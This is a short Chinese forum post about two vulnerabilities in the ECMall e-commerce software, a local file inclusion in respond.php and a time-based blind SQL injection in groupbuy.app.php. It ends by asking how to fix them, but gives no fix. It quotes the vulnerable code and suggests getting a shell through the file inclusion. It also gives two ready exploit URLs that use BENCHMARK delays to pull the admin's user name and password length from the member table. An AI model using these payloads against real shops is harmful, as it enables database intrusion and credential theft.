关于ecmall的漏洞怎样修复?

2016-07-07 16:49 来源:www.chinab4c.com 作者:ecshop专家

ECMall本地文件包含漏洞

respond.php 48行
  1. $pay_code = !empty($_REQUEST['code']) ? trim($_REQUEST['code']) : '';
  2. ...
  3. $plugin_file = ROOT_PATH . '/includes/payment/' . $pay_code . '.php';
  4. if (is_file($plugin_file))
  5. {
  6. include_once($plugin_file);很明显的一个bug
复制代码
利用的话可以参考flyh4t提到过[http://bbs.wolvez.org/topic/56/]的一个思路:


可以通过旁注拿个shell,然后写个main.php到/tmp目录下,然后包含之


-----------------------------------------------------------------------------------------------------------------------------------------

ECMall 2.2延迟注射漏洞

app\groupbuy.app.php:26:
复制代码
  1. function index()

  2. 02{

  3. 03$id = empty($_GET['id']) ? 0 : $_GET['id'];//id未过滤

  4. 04if (!$id)

  5. 05{

  6. 06 $this->show_warning('no_such_groupbuy');

  7. 07 return false;

  8. 08}

  9. 09// 团购信息

  10. 10$group = $this->_groupbuy_mod->get(array(

  11. 11 'conditions' => 'group_id=' . $id . ' AND gb.state<>' . GROUP_PENDING,//好的,进去了!!

  12. 12 'join' => 'belong_store',

  13. 13 'fields' => 'gb.*,s.owner_name'

  14. 14));

  15. 15

  16. 16if (empty($group)) //很多时候根本没有团购信息,所以是延迟注射了

  17. 17{

  18. 18 $this->show_warning('no_such_groupbuy');

  19. 19 return;

  20. 20}
复制代码
exp by k4shifz:
/index.php?app=groupbuy&act=index&id=2 and if((select ascii(mid(user_name,1,1)) from ecm_member where user_id=1)=97,Benchmark(3000000,md5(1)),1)%23
/index.php?app=groupbuy&act=index&id=2%20and%20if((select%20length(password)%20from%20ecm_member%20where%20user_id=1)=32,benchmark(1000000,md5(1)),1)--


============================================================================================


如何修复,请高手指教~